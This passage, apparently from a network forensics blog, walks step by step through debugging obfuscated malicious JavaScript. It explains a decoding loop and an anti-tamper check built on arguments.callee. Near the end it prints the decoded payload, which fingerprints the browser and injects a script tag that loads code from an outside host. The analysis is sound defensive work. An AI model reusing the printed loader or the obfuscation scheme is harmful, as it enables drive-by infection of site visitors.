&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; gvar_5 &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nu0&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; gvar_4&lt;span class=&quot;br0&quot;&gt;[&lt;/span&gt;gvar_5&lt;span class=&quot;br0&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;sy0&quot;&gt;+=&lt;/span&gt; gvar_11&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw2&quot;&gt;var&lt;/span&gt; gvar_12 &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nu0&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;gvar_4&lt;span class=&quot;br0&quot;&gt;[&lt;/span&gt;gvar_5&lt;span class=&quot;br0&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;sy0&quot;&gt;&amp;gt;&lt;/span&gt; 512&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; &lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; gvar_4&lt;span class=&quot;br0&quot;&gt;[&lt;/span&gt;gvar_5&lt;span class=&quot;br0&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;sy0&quot;&gt;-=&lt;/span&gt; gvar_1&lt;span class=&quot;br0&quot;&gt;[&lt;/span&gt;3&lt;span class=&quot;br0&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; gvar_12 &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nu0&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; gvar_5&lt;span class=&quot;sy0&quot;&gt;++;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; gvar_9&lt;span class=&quot;sy0&quot;&gt;++;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
At line #6 gvar_5 is tested to see if it equals the number four. If so, it is reset to be zero. In this case, this is the first time we have entered the &lt;em&gt;if&lt;/em&gt; statement while debugging this code and gvar_5 is still equal the number zero from its initial assignment earlier in the code. &lt;br /&gt;
&lt;br /&gt;
Skipping over the &lt;em&gt;if&lt;/em&gt; statement, we hit line #10 where we see manipulation of gvar_4. I did not address gvar_4 earlier, but here is the code that setup gvar_4 just before the setup of this &lt;em&gt;while&lt;/em&gt; loop:&lt;br /&gt;
&lt;br /&gt;
var gvar_4 = new Array(-2, 7, 0, 0);&lt;br /&gt;
gvar_4[0] += 2;&lt;br /&gt;
gvar_4[1] -= 7;&lt;br /&gt;
&lt;br /&gt;
The array is built with four numbers in it. Gvar_4[0] is equal to -2, but subsequently has +2 added to it. Gvar_4[1] is equal to 7, but subsequently has 7 subtracted from it. As we see, this is just a confusing way of setting up an array with four numbers all equal to zero.&lt;br /&gt;
&lt;br /&gt;
Back to line #10, the first number we hit is the number 7 in this string: “function wg7_I6d_3kg.” The decimal byte value for 7 is 55, so at line #10 the number in index zero (because gvar_5 equals zero at this point) in the array gvar_4 is incremented by the number 55. In this case it is 0 + 55 = 55, but you can see how this number will grow for every number encountered as we walk through the text of the function itself.&lt;br /&gt;
&lt;br /&gt;
Line #11 creates gvar_12 and line #15 resets it, making it a dummy value only inserted for the purpose of confusing us. (Or is it?! You’ll have to answer this again after we see how arguments.callee is being used here.)&lt;br /&gt;
&lt;br /&gt;
Line #12 tests the value we just wrote into the array gvar_4 to see if it’s greater than 512. Because the decimal values for the number zero through nine are 48-57, that test will always evaluate false and will never be entered.&lt;br /&gt;
&lt;br /&gt;
Line #17 increments the counter used as an index pointer for gvar_4 and the loop continues. After the &lt;em&gt;while&lt;/em&gt; loop has completed, we hit a &lt;em&gt;for&lt;/em&gt; loop that basically just decrements each number in gvar_4 by 256 (given by the number at index 2 inside gvar_1):&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/debugging-111.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-652&quot; height=&quot;204&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/debugging-111.png&quot; title=&quot;debugging 11&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
So why is arguments.callee such a problem?&lt;br /&gt;
&lt;br /&gt;
Because we changed the contents of this function to make it easier to read, understand, and work with! We took all the following:&lt;br /&gt;
&lt;br /&gt;
var aA_nii_C6&lt;br /&gt;
var b_b_x_O3XJ4_qN&lt;br /&gt;
var e22y8QdoQv_Dta&lt;br /&gt;
var f1Gc7_7pPVm_vg&lt;br /&gt;
var Ffyncmd8Y&lt;br /&gt;
var g2N2c58g_cFcf&lt;br /&gt;
var IQ__s_0qI_w_Em5&lt;br /&gt;
var jtJuIuDEg&lt;br /&gt;
var lEu5nv0&lt;br /&gt;
var Lqhs6q0&lt;br /&gt;
var N50_648D7_t_k&lt;br /&gt;
var Op18mkb&lt;br /&gt;
var q0703A5&lt;br /&gt;
var Qm_Y__X&lt;br /&gt;
var r1Qq5Y3R&lt;br /&gt;
var sFFiD1J&lt;br /&gt;
var SV5SwoJfj_O&lt;br /&gt;
var U__i5_j48r&lt;br /&gt;
var x__IK_7p_f&lt;br /&gt;
var xyz&lt;br /&gt;
&lt;br /&gt;
And renamed them gvar_1, gvar_2, gvar_3 and so on… That means we removed numbers from the names of variables the decoding algorithm needs to function properly. In other words, in this case, the decoding algorithm is able to determine if the javascript has been tampered with, and if so, it fails to decode properly!&lt;br /&gt;
&lt;br /&gt;
So the next question is: will the decoding algorithm work if we reformat the javascript to make it easier to follow, without renaming anything (eg: inserting new lines, spaces, tabs, and whitespace to make it easier to read)? So far we have not encountered anything to indicate reformatting the javascript will break decoding. Because of that, I’ll go back to the old naming conventions and just continue the debugging from where we left off. Rerunning everything with the original variable names gets us through the for loop with the following values in the array we previously referred to as gvar_4: &lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/debugging-121.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-653&quot; height=&quot;129&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/debugging-121.png&quot; title=&quot;debugging 12&quot; width=&quot;646&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Now things start to get a little more interesting. We hit a &lt;em&gt;while&lt;/em&gt; loop that appears to start working on the very long encoded string contained in the hidden HTML object.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/debugging-131.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-655&quot; height=&quot;36&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/debugging-131.png&quot; title=&quot;debugging 13&quot; width=&quot;425&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Qm_Y__X initially has the value zero and in each pass through the loop is tested to see if its value is less than the number representing the length of the encoded string, presumably making it an index into the string as the decode logic works through decoding the string. The first line inside the &lt;em&gt;while&lt;/em&gt; loops takes the next two characters from the index position (currently index zero, making the substring “4g”) and assigns them to o_40M7__5On, while also appending a “^” character.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/debugging-14.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-656&quot; height=&quot;176&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/debugging-14.png&quot; title=&quot;debugging 14&quot; width=&quot;601&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
To understand the next line, we first need to talk about how the parseInt() function works in javascript. It has the following format:&lt;br /&gt;
&lt;br /&gt;
&lt;em&gt;parseInt(string, radix)&lt;/em&gt;&lt;br /&gt;
&lt;br /&gt;
The parseInt() function parses a string and returns an integer. The radix parameter is used to specify which numeral system to use. For example, a radix of 16 (hexadecimal) indicates that the number in the string should be parsed from a hexadecimal number to a decimal number.&lt;br /&gt;
&lt;br /&gt;
Also from &lt;a href=&quot;http://www.w3schools.com/jsref/jsref_parseint.asp&quot;&gt;&lt;span style=&quot;color: #044d8b;&quot;&gt;http://www.w3schools.com/jsref/jsref_parseint.asp&lt;/span&gt;&lt;/a&gt;:&lt;br /&gt;
&lt;em&gt;Tips and Notes&lt;/em&gt;&lt;br /&gt;
&lt;em&gt;Only the first number in the string is returned!&lt;/em&gt;&lt;br /&gt;
&lt;em&gt;Leading and trailing spaces are allowed.&lt;/em&gt;&lt;br /&gt;
&lt;em&gt;If the first character cannot be converted to a number, parseInt() returns NaN.&lt;/em&gt; &lt;br /&gt;
&lt;br /&gt;
Now consider the next line:&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/debugging-141.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-657&quot; height=&quot;176&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/debugging-141.png&quot; title=&quot;debugging 14&quot; width=&quot;601&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
The string passed to parseInt() is “4g^” meaning the only number parsed is the number 4. However, the radix used for every number parsed inside this while loop is 23. The next few lines get considerably more complex and make up the heart of this impressive encoding/decoding scheme. We’ll examine them line-by-line as we take a single detailed pass through this &lt;em&gt;while&lt;/em&gt; loop. &lt;br /&gt;
&lt;br /&gt;
&lt;style&gt;
  div.embedPastebin { padding: 0; color: #000; margin: 0; font-family: monospace; background: #eee; border: 1px solid black; }  div.embedPastebin { border: none; }  div.embedPastebin div.embedFooter { background: #ccc; font-size: 100%; padding: 0px 6px; }  div.embedPastebin div.embedFooter a,  div.embedPastebin div.embedFooter a:visited { color: blue; }  div.embedPastebin div.embedFooter a:hover { color: red; }  .noLines ol { list-style-type: none; padding-left: 0.5em; } 
&lt;/style&gt;&lt;br /&gt;
&lt;div class=&quot;embedPastebin&quot;&gt;&lt;div class=&quot;embedFooter&quot;&gt;Data provided by &lt;a href=&quot;http://pastebin.com/&quot;&gt;Pastebin.com&lt;/a&gt; - &lt;a href=&quot;http://pastebin.com/raw.php?i=0fFktbFD&quot; target=&quot;_top&quot;&gt;Download Raw&lt;/a&gt;&lt;/div&gt;&lt;style&gt;
&lt;/style&gt;&lt;style type=&quot;text/css&quot;&gt;
/** * GeSHi (C) 2004 - 2007 Nigel McNie, 2007 - 2008 Benny Baumann * (http://qbnz.com/highlighter/ and http://geshi.org/) */.javascript .de1, .javascript .de2 {font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;}.javascript  {font-family:monospace;}.javascript .imp {font-weight: bold; color: red;}.javascript li, .javascript .li1 {background: #ffffff;}.javascript .ln {width:1px;text-align:right;margin:0;padding:0 2px;vertical-align:top;}.javascript .li2 {background: #f8f8f8;}.javascript .kw1 {color: #000066; font-weight: bold;}.javascript .kw2 {color: #003366; font-weight: bold;}.javascript .kw3 {color: #000066;}.javascript .co1 {color: #006600; font-style: italic;}.javascript .co2 {color: #009966; font-style: italic;}.javascript .coMULTI {color: #006600; font-style: italic;}.javascript .es0 {color: #000099; font-weight: bold;}.javascript .br0 {color: #009900;}.javascript .sy0 {color: #339933;}.javascript .st0 {color: #3366CC;}.javascript .nu0 {color: #CC0000;}.javascript .me1 {color: #660066;}.javascript span.xtra { display:block; }
&lt;/style&gt;&lt;br /&gt;
&lt;div class=&quot;javascript&quot; style=&quot;font-family: monospace;&quot;&gt;&lt;ol&gt;&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&lt;span class=&quot;kw1&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;Qm_Y__X &lt;span class=&quot;sy0&quot;&gt;&amp;lt;&lt;/span&gt; thM0X3_Ac0O__Vw.&lt;span class=&quot;me1&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; &lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; o_40M7__5On &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; thM0X3_Ac0O__Vw.&lt;span class=&quot;me1&quot;&gt;substr&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;Qm_Y__X&lt;span class=&quot;sy0&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nu0&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;sy0&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;st0&quot;&gt;&quot;^&quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw2&quot;&gt;var&lt;/span&gt; sFFiD1J &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; parseInt&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;o_40M7__5On&lt;span class=&quot;sy0&quot;&gt;,&lt;/span&gt; x__IK_7p_f&lt;span class=&quot;br0&quot;&gt;[&lt;/span&gt;5&lt;span class=&quot;br0&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;IQ__s_0qI_w_Em5 &lt;span class=&quot;sy0&quot;&gt;==&lt;/span&gt; 4&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; &lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; IQ__s_0qI_w_Em5 &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nu0&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; sFFiD1J &lt;span class=&quot;sy0&quot;&gt;-=&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;f1Gc7_7pPVm_vg &lt;span class=&quot;sy0&quot;&gt;+&lt;/span&gt; 2&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;sy0&quot;&gt;*&lt;/span&gt; g2N2c58g_cFcf&lt;span class=&quot;br0&quot;&gt;[&lt;/span&gt;IQ__s_0qI_w_Em5&lt;span class=&quot;br0&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw1&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;sFFiD1J &lt;span class=&quot;sy0&quot;&gt;&amp;lt;&lt;/span&gt; 0 &lt;span class=&quot;sy0&quot;&gt;||&lt;/span&gt; sFFiD1J &lt;span class=&quot;sy0&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;sy0&quot;&gt;-&lt;/span&gt;1&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; &lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&quot;kw2&quot;&gt;var&lt;/span&gt; xyz &lt;span class=&quot;sy0&quot;&gt;=&lt;/span&gt; x__IK_7p_f&lt;span class=&quot;br0&quot;&gt;[&lt;/span&gt;2&lt;span class=&quot;br0&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; sFFiD1J &lt;span class=&quot;sy0&quot;&gt;-=&lt;/span&gt; Math.&lt;span class=&quot;me1&quot;&gt;floor&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;sFFiD1J &lt;span class=&quot;sy0&quot;&gt;/&lt;/span&gt; xyz&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;sy0&quot;&gt;*&lt;/span&gt; x__IK_7p_f&lt;span class=&quot;br0&quot;&gt;[&lt;/span&gt;2&lt;span class=&quot;br0&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; r1Qq5Y3R &lt;span class=&quot;sy0&quot;&gt;+=&lt;/span&gt; String.&lt;span class=&quot;me1&quot;&gt;fromCharCode&lt;/span&gt;&lt;span class=&quot;br0&quot;&gt;(&lt;/span&gt;sFFiD1J&lt;span class=&quot;br0&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; Qm_Y__X &lt;span class=&quot;sy0&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;nu0&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;sy0&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&amp;nbsp; &amp;nbsp; IQ__s_0qI_w_Em5&lt;span class=&quot;sy0&quot;&gt;++;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li2&quot;&gt;&lt;div class=&quot;de2&quot;&gt;&amp;nbsp; &amp;nbsp; f1Gc7_7pPVm_vg&lt;span class=&quot;sy0&quot;&gt;++;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;li1&quot;&gt;&lt;div class=&quot;de1&quot;&gt;&lt;span class=&quot;br0&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
We pick up at line #5, where a counter is reset every time it’s equal to the number four. As this is our first time inside the loop, it’s currently has the value zero.&lt;br /&gt;
&lt;br /&gt;
Jumping over that &lt;em&gt;if&lt;/em&gt; statement to line #9, we see the number variable just assigned a value in the previous section where we discussed parseInt(). That number is being decremented by ValueA multiplied by ValueB where:&lt;br /&gt;
&lt;br /&gt;
ValueA is (&lt;em&gt;f1Gc7_7pPVm_vg&lt;/em&gt; + 2). The variable &lt;em&gt;f1Gc7_7pPVm_vg&lt;/em&gt; starts at the number zero when we first enter this loop, but is incremented with every pass through the loop at line #18, making this variable change for &lt;span style=&quot;text-decoration: underline;&quot;&gt;every&lt;/span&gt; charter evaluated.&lt;br /&gt;
&lt;br /&gt;
ValueB is (&lt;em&gt;g2N2c58g_cFcf&lt;/em&gt;[&lt;em&gt;IQ__s_0qI_w_Em5&lt;/em&gt;]), where &lt;em&gt;g2N2c58g_cFcf&lt;/em&gt; is a number array containing the following values:&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/debugging-15.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-658&quot; height=&quot;106&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/debugging-15.png&quot; title=&quot;debugging 15&quot; width=&quot;220&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
It’s important to stop here and draw your attention to the fact that the values inside &lt;em&gt;g2N2c58g_cFcf&lt;/em&gt; (the array pictured above) were generated by parsing the text resulting from arguments.callee and applying the math examined when we looked at that first &lt;em&gt;while&lt;/em&gt; loop. By trying to change the variable names the way we did to make things easier to reverse, the resulting numbers placed inside the array above would have been totally different, meaning the next few steps would produce completely incorrect results!&lt;br /&gt;
&lt;br /&gt;
In our first step into the loop, &lt;em&gt;IQ__s_0qI_w_Em5&lt;/em&gt; is equal to the number zero, so the value used from the array for this first pass is 251. At line #17, &lt;em&gt;IQ__s_0qI_w_Em5&lt;/em&gt; is incremented with each pass, but line #5 resets it to zero every time it reaches the value four, ensuring the array &lt;em&gt;g2N2c58g_cFcf&lt;/em&gt; is cycled through correctly.&lt;em&gt; &lt;/em&gt;So in this case, ValueA = 2 and ValueB = 251, and 2 * 251 = 502, which is subtracted from 108 to give the value negative 394. However, line #10 tests to see if the value just computed is less than 0, which of course it always will be!&lt;br /&gt;
&lt;br /&gt;
Line #12 just assigns the value 256 to the variable &lt;em&gt;xyz&lt;/em&gt;.&lt;br /&gt;
&lt;br /&gt;
Line #13 give us the final decode for the value needed by the remainder of the code by taking the value in &lt;em&gt;sFFiD1J&lt;/em&gt; (currently -394), which in this case becomes +118 after the execution of that line.&lt;br /&gt;
&lt;br /&gt;
Line #15 gradually builds a string by appending each newly decoded value to it and lines #16-18 are just pointer updating as discussed already. If we remove our breakpoint in the loop and let it complete (but add a new breakpoint after the loop so we can examine variables when it’s complete), here is the final value of the string containing the fully decoded contents of the encoded HTML object:&lt;br /&gt;
&lt;br /&gt;
var ght0jcY_f1c = -1;var DMv_m70U81LIb = “01″;var tI__JGR85k__254 = navigator.appMinorVersion;while((ght0jcY_f1c = tI__JGR85k__254.indexOf(“;SP”, ght0jcY_f1c + 1)) != -1) {var RC_Vt__07 = tI__JGR85k__254.charAt(ght0jcY_f1c + 3);if (RC_Vt__07 == “1″)DMv_m70U81LIb = “02″;else if (RC_Vt__07 == “2″)DMv_m70U81LIb = “03″;else if (RC_Vt__07 == “3″)DMv_m70U81LIb = “04″;else if (RC_Vt__07 == “4″)DMv_m70U81LIb = “05″;else if (RC_Vt__07 == “5″)DMv_m70U81LIb = “06″;else if (RC_Vt__07 == “6″)DMv_m70U81LIb = “07″;if (DMv_m70U81LIb != “01″)break;}if (DMv_m70U81LIb == “01″ &amp;amp;&amp;amp; tI__JGR85k__254.indexOf(“Release Candidate”, 0) != -1)DMv_m70U81LIb = “08″;var RihOuI_7K = “2″ + DMv_m70U81LIb;var W118_aA4eh4O;if (!(W118_aA4eh4O = navigator.systemLanguage)) {if (!(W118_aA4eh4O = navigator.userLanguage)) {if (!(W118_aA4eh4O = navigator.browserLanguage)) {W118_aA4eh4O = navigator.language;}}}if (W118_aA4eh4O) {W118_aA4eh4O = W118_aA4eh4O.substr(0, 10);var QS743__js_4 = “”;for(var H4_p__kQ4 = 0; H4_p__kQ4 &amp;lt; W118_aA4eh4O.length; H4_p__kQ4++) {var DL___q0_RU54_T = W118_aA4eh4O.charCodeAt(H4_p__kQ4).toString(16);if (DL___q0_RU54_T &amp;lt; 2)QS743__js_4 += “0″;QS743__js_4 += DL___q0_RU54_T;}while(QS743__js_4.length &amp;lt; 20) {QS743__js_4 += “00″;}RihOuI_7K += “L” + QS743__js_4;}var f_Ha0lc_a_1_P = document.createElement(“script”);f_Ha0lc_a_1_P.setAttribute(“type”, “text/javascript”);f_Ha0lc_a_1_P.setAttribute(“src”, “http://mdakab.info/cgi-bin/guest/y002106R09007318X86487362Ycd32e585Z0100f060″ + RihOuI_7K);document.body.appendChild(f_Ha0lc_a_1_P);&lt;br /&gt;
&lt;br /&gt;
As you see, it decodes into more new javascript. &lt;img alt=&quot;:-)&quot; class=&quot;wp-smiley&quot; src=&quot;http://www.networkforensics.com/wp-includes/images/smilies/icon_smile.gif&quot; /&gt; But, we still need to see how it’s leveraged, which the last few lines of the code we’re currently debugging will show us:&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.networkforensics.com/wp-content/uploads/debugging-16.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-659&quot; height=&quot;286&quot; src=&quot;http://www.networkforensics.com/wp-content/uploads/debugging-16.png&quot; title=&quot;debugging 16&quot; width=&quot;535&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
First, the red box shows the variable b&lt;em&gt;_b_x_O3XJ4_qN&lt;/em&gt; being assigned the value “e.”&lt;br /&gt;
&lt;br /&gt;
The next line appends the string “value” to it, making the new contents of &lt;em&gt;b_b_x_O3XJ4_qN&lt;/em&gt; “evalue.”&lt;br /&gt;
&lt;br /&gt;
The following line reassigns it as a substring of the original value, in this case the first four letters of “evalue,” or “eval.”&lt;br /&gt;
&lt;br /&gt;
